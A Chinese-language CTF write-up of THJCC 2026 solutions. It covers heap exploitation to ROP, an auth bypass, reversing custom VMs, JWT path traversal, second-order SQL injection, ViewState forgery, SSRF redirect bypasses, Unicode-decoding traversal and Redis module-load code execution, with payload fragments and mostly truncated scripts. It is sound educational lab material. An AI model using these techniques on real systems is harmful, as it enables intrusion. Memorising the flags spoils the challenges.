對同一則訊息 subscribe 256 次讓計數繞回原值,接著一次 unsubscribe 就把仍被 255 個 channel
參照的記憶體釋放掉:
1 | payload = b"" |
這裡有個小陷阱:表頭是從 libseccomp 留下的 tcache bin 拿出來的,victim body 會緊貼 top chunk,
直接 free 只會把 top 撐大、不會寫入 main_arena 指標。所以要再 compose 兩個大 body 把它釘住。
拿到 libc 之後,把那個 0x38 的表頭當成新訊息的 body 重新取回,replay 跟 amend
就升級成任意讀寫:
1 | def set_fake(ptr, size, rc=0x40): |
seccomp 過濾器只留 open/read/write/close/lseek/fstat/brk/exit*,
所以終局是 ORW ROP 不是 shell。任意讀取 environ、在堆疊上搜 libc+0x29d90 定位 main 的返回位址,
寫入 chain 之後選 0) quit 觸發返回。
chain 裡塞了個 store_rax gadget 把 fd 印出來,用來區分「ROP 壞掉」跟「路徑錯誤」:
1 | for i, path in enumerate(paths): |
迴圈測候選路徑,只有 open("/flag") 回傳 3。
THJCC{s0_wh1ch_AI_d1d_y0u_us3_t0_s0lv3_th1s???}
I ate something bad …
checksec 看起來像是 2005 年編出來的:
1 | Arch: amd64-64-little |
.rodata 裡有 /bin/sh,反組譯顯示成功路徑本來就會呼叫 system("/bin/sh"):
1 | 4011bc: e8 9f fe ff ff call gets@plt |
gets 的緩衝區在 rbp-0x30,check 在 rbp-0x4,相距 44 位元組。
連返回位址都不用蓋,精準改寫這個整數就好:
1 | offset = 0x30 - 0x4 # rbp-0x30 相對於 rbp-0x4 = 44 bytes |
字串結尾的 NUL 只碰到 saved rbp,不影響流程。
1 | what do you want to eat? |
THJCC{m4yb3_1_34t_t0_much}
necropet
heap 型的紀錄管理服務,選單 admit/select/revise/release/show/visit
直接對應 malloc、free、讀與寫。保護全開:Full RELRO、canary、NX、PIE。
不能 shellcode、不能覆寫 GOT、不能走堆疊溢位。
但 .data 裡有一張以 call [entry + 0x10] 派送的 commands[9] 表,
派送時 rdi 正是該行剩餘的字串,一個可覆寫的函式指標,而且已經被餵入我控制的資料。
漏洞在 h_release:它清掉了 desk 快取中的 rec 與 size,卻沒有清 case_id。
失效參照檢查就這樣被瓦解,show 跟 revise 對已釋放 chunk 仍然有效 → UAF 讀寫。
四階段洩漏。PIE 從 show 印出的 species 指標(指向 .rodata 的 "cat"):
1 | cmd(io, "admit 0 0 1264 0") # victim |
libc 從 unsorted bin:note_cap 設 0x4f0 讓 chunk 落到 0x520(超過 tcache 上限),
release 之後 UAF show 印出 fd == bk:
1 | cmd(io, "release 0") # UAF: kennels[0].case_id survives |
glibc 2.39 的 safe-linking 需要金鑰,而單獨被釋放的 chunk 會以明文存下 A >> 12,
所以金鑰是白送的:
1 | cmd(io, "release 2") # tcache[5]: A (A->next = PROTECT_PTR(A, NULL)) |
然後 tcache poisoning 把 A->next 指向 .data:
1 | target = pie + OFF_CMD_SHOW_FN |
假記錄落在 &commands[4].fn,它的 note body(rec + 0x28)起點正好是 commands[6].name,
一路蓋到 commands[8]:
1 | note = flat( |
main 隨後呼叫 commands[8].fn("/bin/sh")。誘餌也一併排除了:cook 只是 exit(0),
login 需要唯讀記憶體裡那個摘要的 SHA-256 原像。
THJCC{Tell_me,_Linguini,_about_your_interests…D0_u_1ik3_anima1s?The_u5ua1,_d0gs,_cats,_h0r535,_guinea_pigs…RATS~~}
Very Security Shell
伺服器用 /dev/urandom 配 94 字元字母表產生 16 字元密碼,完整密碼在計算上不可能爆破。
認證看起來很穩,然後栽在一行:
1 | strncmp(input, password, strlen(input)) |
比較長度取自攻擊者的輸入,不是固定的 16。所以任何等於密碼「對應前綴」的猜測都會回 0 通過。
極端情況,送出正確的第一個字元就夠了。
密碼在單一連線的生命週期內固定,猜錯只會跳回提示重問,所以同一條連線裡試遍 94 個可列印字元:
1 | charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~" |
平均約 47 次命中。單一正確前綴字元就觸發 system("/bin/sh")。
THJCC{strnc0mp_1s_n0t_s3cur3}
Reverse
404
statically linked、已 strip 的 64 位元 ELF。strings 給了兩條線索:
usage: %s <16-byte input> 跟 vm rejected input。後者直接點名這是自製虛擬機。
.rodata(虛擬位址 0x200120 起)裡是大量三位元組的短資料。進入函式會依一組固定順序
把 18 個各 16 位元組的區塊複製到堆疊,串接成 288 位元組的 bytecode,並在第 288 位元組附加 0x07:
1 | PROGRAM_CHUNKS = [ |
重新實作成模擬器之後,可以看到驗證邏輯對 16 位元組的輸入逐一施加算術與比較約束。
每個約束都是可逆的,所以連爆破都不用,直接反推:
1 | elif opcode == 5: |
但真正拿 flag 的地方在 opcode 7 對應的成功處理程式(虛擬位址 0x201615),
它從 0x200280 讀 32 個編碼位元組,每輪處理兩個,key 由 0x35 起每輪加 0x1a:
1 | def decode_flag(binary: bytes) -> bytes: |
正向 VM 模擬同時證明只有通過所有檢查才會抵達這段解碼流程。
THJCC{vm_bytecode_is_a_contract}
Because There is no one Make Reverse So I Create This Chal
一個 33,904 位元組的 arm64 Mach-O。直接跑會被殺掉:
1 | echo test | ./chal |
1 | exit=137 |
未簽章。補個 ad-hoc 簽章才動得了:
1 | cp chal chal_test |
1 | flag> Nope. |
匯入表沒有 strcmp/memcmp 卻有 malloc,還有字串 Payload error.。
驗證是算出來的,而且有東西會在執行期被建造出來。程式 fgets 讀最多 258 位元組、
strcspn 取長度,然後 malloc(0x2c4) 配置一塊 708 位元組的 payload。
那個 payload 是把 __const(0x100000b98,大小 0x2e4)的資料以 XTEA 的 CTR 模式解密而得。
反組譯把參數全部露出來了:delta 0x9e3779b9、32 輪、計數器基底 區塊 + 0xafd9e340。
金鑰則由 0x100000ab0 的輔助函式把兩塊資料 XOR 出來:
1 | python3 -c " |
1 | A = 22 e5 92 42 89 85 f2 d6 84 00 aa 53 e7 14 d0 d6 |
XOR 起來就是 2580f501 d194e025 9f48ceeb 05488ea6。解密後那 708 位元組的 FNV-1a
必須等於 0x4b9fb9f7,算出來相符,證明逐位元組都對,而且金鑰流跟輸入無關,這步完全離線:
1 | def xtea(v0, v1): |
1 | fnv1a = 0x4b9fb9f7 |
解出來的 payload 是一台 10 個 opcode 的自製 VM 的 bytecode。線性反組譯在 offset 4 就會偏掉,
必須跟隨 JMP 跨過垃圾位元組:
1 | if op == 0x5B: # 跟隨跳躍、跳過垃圾 |
1 | 0000 cd 29 CHKLEN 0x29 |
跟完之後看到 41 個結構完全一樣的區塊,而且每條 EXPECT 前面都只 LOAD 單一輸入索引:
1 | SETIDX i ; 選擇輸入的第 i 個位元組 |
搜尋空間就從指數級塌成 41 × 256。以 Python 重實作 VM、逐位元組爆破,
每個位置都恰好只有一個候選存活:
1 | key = 2580f501 d194e025 9f48ceeb 05488ea6 |
1 | echo 'THJCC{1_w0nd3r_h0w_l0n6_41_50lv35_17_>w<}' | ./chal_test |
1 | flag> Correct! |
THJCC{1_w0nd3r_h0w_l0n6_41_50lv35_17_>w<}
BlackFrost
題目給 BlackFrost.exe(PE32+ console)、一份含一次請求一次回應的 traffic.pcap,
還提醒要在 Windows sandbox 裡測。既然執行檔不可信,就全程靜態分析自己重現演算法。
tshark 取出兩段 TCP payload:BFHELLO b700b632 跟 BF2:<hex 密文>。
反組譯顯示 token 檢查是 32 位元 FNV-1a(初值 0x811c9dc5、乘數 0x01000193),
結果要等於 0xb700b632。既然只比對雜湊就不需要原始 token,用可列印後綴做 meet-in-the-middle:
1 | token = b'blackfrost-sWIEU"' |
回應的解密是位置相依的雙重 XOR:
1 | def decrypt_capture(ciphertext: bytes) -> bytes: |
直接解封包裡的密文只有前 40 跟最後 3 個位元組是對的,中段是題目刻意植入的損壞,
所以重播進不了成功路徑。但執行檔內含逐位元組的明文比較,三個確切字串全都寫死在裡面:
1 | expected = b"campaign=BLACKFROST-26;nonce=4c2f17;directive=collect-only;" |
XOR 可逆,用同一組金鑰流把損壞的位元組重建回去就好:
1 | repaired_ciphertext = bytearray(captured) |
成功路徑接著從 .rdata 的 0x140003080(檔案偏移 0x1680)讀 34 個位元組,
用 key = 0x26 起、每組偶數位元組 XOR key − 0x0d、奇數位元組 XOR key、key += 0x1a 解碼。
THJCC{blackfrost_config_recovered}
License
程式收一組 29 字元的授權碼,檢查第 4/9/14/19/24 位是破折號,把 24 個十六進位字元存進 buf,
然後跑一條看起來很嚇人的管線:
1 | stage1: state[i] = rol8(buf[perm[i]] ^ (0x31 + 0x11i), i % 5) + 11i |
中途還有一段算完就丟掉的誘餌雜湊。
但先追一遍成功路徑再說。0x201bc3 之後的程式完全沒讀 buf、沒讀 state、
根本沒用到授權碼:它讀 0x200210 的 32 個固定位元組,用一把只由位置決定的金鑰 XOR 完就印出來。
1 | def decode_flag(): |
也就是說 flag 只是靜態資料的純函數,解 keygen 對拿 flag 而言完全不必要。
不過既然都看到這裡了,還是把檢查邏輯整條反轉回去。每一輪的逆運算裡 prev[0] 是自由的,
24-cycle 會把其餘全部決定,而 parity 不一致就代表這條路不存在前狀態:
1 | def invert_round(new, r): |
再用「必須全是十六進位字元」過濾,得到唯一一組有效授權碼 A9F3-1C7D-EE42-0B6A-5D91-7F20。
THJCC{license_pipeline_rebuilt}
TeaGod.exe
題敘是一段惡搞的 Discord /worship 訊息(累計膜拜 666 次),零技術提示。
一個 64 位元 Windows GUI PE,整題在 macOS 上用純靜態分析做完。
1 | rabin2 -S TeaGod.exe |
檔案 92% 是單一資源,程式碼只有 15 KB。匯入表只有 Win32 視窗、WIC 圖片解碼、剪貼簿跟 GetTickCount,
沒有檔案或網路 I/O,所以 flag 必然在執行檔內部。
傳統 strings 一無所獲,改掃 UTF-16 才看到介面字串,而且裡面沒有任何旗標字面常數,
獎勵字串是在執行期算出來的。
排除誘餌之後範圍就收斂了:.rsrc 的 PNG 只是裝飾插圖;.rdata 裡那 3 KB「長得像密文」的
16 位元組區塊解出來是 WIC 的 GUID,由 CoCreateInstance 消費。剩下的是
0x1400051e6 的 36 個未解釋位元組、0x140005210 的三筆指標表、0x140005228 的三個金鑰位元組。
點按鈕(WM_COMMAND,id 0x1001)會執行 0x140001e74 的獎勵建構器,運算分兩階段:
1 | # stage 1: per-index subtract (step 7) then XOR with the per-chunk key byte |
中間有兩次 GetTickCount,但它們的 XOR 互相抵消,所以整段運算是決定性的。30 行 Python 重現完畢。
flag 內容是 https://pastebin.com/R58uv133 的 leetspeak 寫法,網址本身就是答案的一部分,
不用真的去看。
THJCC{h77p5://p4s73b1n.com/R58uv133}
xorlocks
1 | file xorlock |
1 | xorlock: ELF 64-bit LSB executable, x86-64, statically linked, stripped |
真正的 main 在 0x201190。先要求 argc == 2 且密碼長度 21,然後逐字元驗證:
1 | 2011d0: movzx esi, BYTE PTR [rax+rdx] ; c = argv[1][i] |
也就是 ((pw[i] ^ 0x5a) + 3i) mod 256 == exp[i]。完全確定性的可逆式,
把期望值表 dump 出來直接反解:
1 | xxd -s 0x150 -l 0x14 xorlock |
1 | 00000150: 22 38 2e 0e 43 4e 17 48 54 20 41 56 53 2c 63 68 64 38 9e a5 |
password[i] = ((expected[i] - 3*i) mod 256) ^ 0x5a → xor_me_if_you_can_26。
但跟 License 一樣,成功路徑根本沒用到密碼。0x2011fd 之後的迴圈只是把 0x200170 的靜態資料
用一條位置相依的 keystream XOR 出來:
1 | data = bytes.fromhex( |
實際跑一次程式對照,輸出跟計算結果一致:
1 | ./xorlock xor_me_if_you_can_26 |
1 | THJCC{xor_basics_are_not_magic} |
THJCC{xor_basics_are_not_magic}
Web
Avatar Studio
題敘只有一句「Check if there’s anything strange.」,指的是對外暴露的 .git 目錄。
git-dumper 拉下來還原出完整的 Flask app.py,然後漏洞就攤在那裡:
session JWT 的 HMAC 金鑰是依 kid 標頭所指定的檔案路徑載入的(os.path.join(KEY_DIR, kid)),
而 load_key 只擋 null byte 跟以 / 開頭的值,完全沒擋 ..。
另一半原語是頭像上傳:/upload 只驗副檔名跟宣告的 MIME type,不檢查內容,
用 secrets.token_hex(8) + ext 重新命名後把檔名回報給我。
所以上傳一個位元組完全已知的「PNG」,再把 kid 設成 ../uploads/<random>.png
(KEY_DIR 是 <APP_DIR>/keys,剛好一層),伺服器就會用我掌握的位元組當 HMAC 金鑰驗簽:
1 | r = s.post(f"{TARGET}/upload", files={"avatar": ("a.png", PNG, "image/png")}) |
無法利用的路徑也一併排除了:隨機檔名讓覆蓋 keys/hs256.key 不可行,
/uploads/<name> 有 os.path.basename() 保護。
這題還設了個雙向陷阱。/panel-legacy(token 硬編碼成 d3bug-c0ns0le-2024)
會吐一個字串裡明寫 fake 的候選旗標,而 /admin 給的那個自稱 not_the_real_one。
兩個都無法從字面判斷,只能實際提交,前者 CTFd 判 incorrect,後者判 correct。
它是 os.environ.get("FLAG", ...) 的預設值,而部署容器根本沒設那個環境變數。
聽起來最假的那個才是真的。這大概就是題名說的 “anything strange”。
THJCC{local_test_flag_not_the_real_one}
Bookworm
全黑箱的 Flask 閱讀紀錄站:註冊、加書、按「Generate reading report」,
背景工作產生一份 CSV 送進 inbox。
判斷器做法很土但有效:對 '、"、\、空白、`、;、%、_ 各註冊一個
把該字元夾在名字中間的使用者,再看報表產不產得出來。
結果只有單引號會讓工作失敗。若是命令注入,`、;、$ 也會壞;若是路徑問題,/ 會壞。
「只在 ' 壞掉」就是 SQL 字串常值被提早結束的特徵。
而且 payload 是在註冊時種下、在報表工作執行時才引爆,二階(second order)SQL Injection。
其他地方(登入、註冊、加書)全都有參數化,報表檔名也被 str.isalnum() 洗過,
所以 username 一開始看起來很無害。
報表 CSV 恰好三個欄位,那 UNION SELECT a,b,1 就把「下載報表」變成任意讀取 SQLite:
1 | def run_query(base: str, payload: str, tag: str) -> str: |
先讀 sqlite_master 列結構,看到一張名字是 base64 的資料表:
1 | schema = run_query(base, "name,sql,1 FROM sqlite_master", tag + "s") |
CSV 裡就出現 flag 那一列。
THJCC{s3c0nd_0rd3r_b00kw0rm_9f3a1c}
Contoso Asset Portal
legacy 的 ASP.NET 資產查詢頁,表單帶 __VIEWSTATE 隱藏欄位,查詢回應顯示 role=guest
並明說機密資料需要 role=admin。
把 ViewState base64 解碼,內容是明文序列化結構:\xff\x01\x0c 檔頭,
後面接以 \x01 + 長度 + 內容 編碼的欄位,其中就有 guest 字串,尾端 20 位元組是 MAC。
直接把 guest 改成 admin 送出:Validation of viewstate MAC failed. 意料之中,得先拿到金鑰。
金鑰來自資訊洩漏。robots.txt 裡的 Disallow: /backup/ 等於直接把路徑指出來,
而那個目錄根本開著目錄列表:
兩個檔案各給一半:
2024-legacy-web.config~是遷移前的設定檔備份,直接洩漏現行 production 的validationKey
(檔案註解自己承認金鑰從未輪替)assets.csv.bak洩漏唯一一筆restricted等級的資產編號AST-4F2A9C0
拿到金鑰先用伺服器自己發的 ViewState 反推驗證 MAC 演算法,不要用猜的:
1 | def verify_key(viewstate_b64, key_hex): |
確認是 HMAC-SHA1(hex_decode(validationKey), payload) 之後,照同樣的編碼規則重建 payload:
1 | def lenstr(value): |
AST-4F2A9C0 長度剛好 11,跟原本那筆一樣。送出去:
1 | [+] Confirmed MAC = HMAC-SHA1(hex_decode(validationKey), body) |
後來把實例砍掉重開一個新的,同一串 ViewState 還是有效,確認金鑰跟 flag 是寫死在映像檔裡的。
THJCC{f0rg3d_v13wst4t3_w1th_l34k3d_m4ch1n3k3y}
get-file1
附件原始碼顯示對外服務 w 的 file.php 是一支帶黑名單的 SSRF 代理:接受 u 參數抓網址,
但拒絕主機名為 flag.thjcc 的目標,那正是存放 flag 的內部容器。
而且 flag 伺服器只在路徑為 /flag.txt 且 Host 標頭為 flag.thjcc 時才回應,
所以用服務名 f 直連的捷徑也行不通。
為了攔「轉址到禁止主機」,程式會先以不跟隨轉址的方式抓一次,掃描回應標頭、
對找到的轉址目標重新套用黑名單。缺陷在於這個掃描用的是:
1 | str_starts_with($v, 'Location:') |
區分大小寫。但 HTTP 標頭名稱本身不區分大小寫。所以一個以小寫 location: 送出的轉址
完全不會被看見,$n 維持 null,重新驗證的分支被整個跳過。
程式接著進行第二次抓取,這次 follow_location = true。而 PHP 的 HTTP stream wrapper
跟隨 location 時不分大小寫,於是照樣連進 flag.thjcc 並送出正確的 Host,
黑名單從頭到尾沒套用到這個最終目的地。
附帶的 redirector 容器 r 剛好備好了兩條路:
1 | print("[+] Step 2: confirm the uppercase-'Location:' redirect is also blocked") |
一個請求 ?u=http://r/a 就結束了。
THJCC{pHp_StReAm_30X_cAsE_43082ed528}
get-file2
第二版把大小寫問題修掉了,改成不分大小寫的 /^Location:/i。get-file1 的手法失效。
但那個檢查迴圈在碰到第一個符合的 Location: 就 break,只驗第一行。
而第二次抓取用預設 stream 選項(follow_location 預設是 true),
PHP 的 HTTP stream wrapper 在回應帶有多行 Location: 時跟隨的是最後一行。
redirector 的 /a 回傳的 302 剛好帶一對標頭:先是無害的 Location: http://r/x,
再是被禁止的 Location: http://flag.thjcc/flag.txt。自訂檢查看到並放行第一行,
stream wrapper 卻走最後一行。
1 | print("[+] Step 3: use the dual-Location redirect; only the FIRST Location is checked") |
同一個 ?u=http://r/a,又過了。
根本問題是 parser differential:作出安全決策的解析器(手寫的「只看第一行 Location」掃描)
跟實際執行動作的解析器(PHP 的 stream wrapper)對同一份資料的解讀不一致。
檢查通過了,動作還是命中被禁止的目標。
THJCC{PHP_stream_30x_DuAl_65de4980cf}
SimpleNotes
全黑箱的 Java 筆記程式,敘述明說 flag 在 /flag.txt。
GET /api/read?f=<name> 會回傳 <筆記目錄>/<name> 的內容,讀檔原語很明確,
但所有穿越 payload 都被前置過濾器擋成 HTTP 403 u are blocked XD。
用「一次只改一個性質」的方式測,過濾規則長這樣:原始 query string 或解碼一次後的值中
若含 ..、開頭的 /、\、%2e、%2f、%5c 或 NUL 就拒;不在開頭的 / 反而被接受。
第二個關鍵事實是雙重解碼:servlet 容器已經解碼一次後,處理函式又解碼了一次
(f=%2541 會讓伺服器去找檔名 A)。所以真正抵達檔案系統的是解碼兩次的字串,
而過濾器只看得到原始與解碼一次的形式。擋 %2e/%2f 就是為了堵這個。
再確認第二次解碼是誰做的:f=%25 回 HTTP 500(符合 java.net.URLDecoder 對不完整跳脫序列
拋 IllegalArgumentException),而且 + 會被解成空白。是 URLDecoder 沒錯。
然後就是這題的核心。URLDecoder 用 Integer.parseInt(s, i+1, i+3, 16) 轉 % 後兩字元,
而它透過 Character.digit() 逐字元轉換,那個函式接受全形 Unicode 數字與字母:
1 | U+FF12 '2' -> 2 |
所以字面文字 %2e 對過濾器的 contains() 而言不等於 %2e,卻仍然會被解成 .:
1 | # "../" that survives the filter: '%' + '2' + FULLWIDTH SMALL LETTER E / F |
% 本身再編碼一次是為了撐過容器那次解碼。深度 2 就回 flag 了。
這是 Black Hat Asia 2026 上發表手法的 Java 版本,flag 內容本身也寫明了出處。
THJCC{inspired_by_blackhat_asia_2026}
Who is Whois? 2
全黑箱的 WHOIS 查詢前端。POST /whois 把使用者字串用 shlex.split() 直接切成
/usr/bin/whois 的參數向量。送 --help 跟 --version 會拿回 whois 客戶端自己的輸出,
這是參數注入(CWE-88)不是命令注入,shell 特殊字元完全無效。
送一個 --help 進去,回來的就是 whois 客戶端自己的 usage,而且開頭兩行剛好把接下來要用的
原語直接列給你看:
注入 -h HOST 跟 -p PORT 之後,查詢就變成一條任意的 TCP 連線且回應原封印回,
構成一個能讀到完整回應的 SSRF;非選項的字詞則成為寫進 socket 的位元組。
兩個障礙都可解:CRLF 只能存活在被引號包住的 token 裡(shlex 保留引號內的空白),
而 whois 的 normalize_domain() 會把最後一個 token 交給 libidn2 轉小寫,
但 idn2_lookup_ul() 失敗時原樣回傳,所以只要讓該 token 以超過 63 字元的 label 結尾就能保留大小寫。
不過實測發現伺服器還有更乾淨的捷徑:-h 與 -p 以完全相符的獨立 token 出現時,
Flask 應用會自己開 socket 並逐位元組照抄 payload。
1 | def redis(*commands, **kw): |
用它掃 127.0.0.1:21/22/23/25 是腳本化的誘餌(/app/decoys_server.py),
真正活著的是 6379 上一台未經認證的 Redis 7.0.15。
它已經針對「寫出 RDB 檔案」型 RCE 加固過了:CONFIG、SAVE、BGSAVE、BGREWRITEAOF、
REPLICAOF、SLAVEOF、DEBUG 全被 rename 掉。但 redis.conf 設了 enable-module-command yes,
MODULE 還在,只差一個磁碟上存在的檔案。
POST /upload 提供了那個檔案:它把上傳內容寫到共用 volume 上的 /tmp/<uuid4>、權限 0755,
而且串流的第一個 JSON 區塊會在檔案還存在時直接洩漏該路徑。在上傳內容後面附加拖時間的查詢行,
就能讓檔案存活到載入為止:
1 | # ELF ignores trailing bytes, and every printable line is a valid batch |
MODULE LOAD /tmp/<uuid> 會在 dlopen() 內部執行共享物件的 ELF constructor,
早於 Redis 尋找 RedisModule_OnLoad,所以雖然回報載入錯誤,程式碼已經跑掉了。
constructor 必須把工作背景化,因為 Redis 是單執行緒而且此刻正卡在 MODULE LOAD 裡面,
inline 跑 redis-cli 會直接把伺服器鎖死:
1 |
|
最後一個小關卡:/flag 是 root 擁有、權限 0711 的執行檔,不可讀但人人可執行。
所以執行它、把輸出塞進 Redis key,再用同一個 SSRF 讀回來:
1 | flag = get_string("pwn:flag").strip() |
1 | [*] step 1: argument injection reaches /usr/bin/whois |
THJCC{Wh0_15_wH015???WH0_15_wh0_15:D}
沒解出來的
- Afterimage1(Forensics)
- Shifting…v2?(Misc)
- Buggy web(Web)
- The Archivist(Web)
Minecraft???(Forensics)因為座標洩漏事件而被下架。基本上就是利用題目給的 screenshot 找座標。我一開始還笨笨的沒發現有 /tp 可用 😭😭😭。酷酷的影片供參 Determine coordinates using only a screenshot!
以上就是這次 THJCC 2026 Summer Edition 的全部紀錄。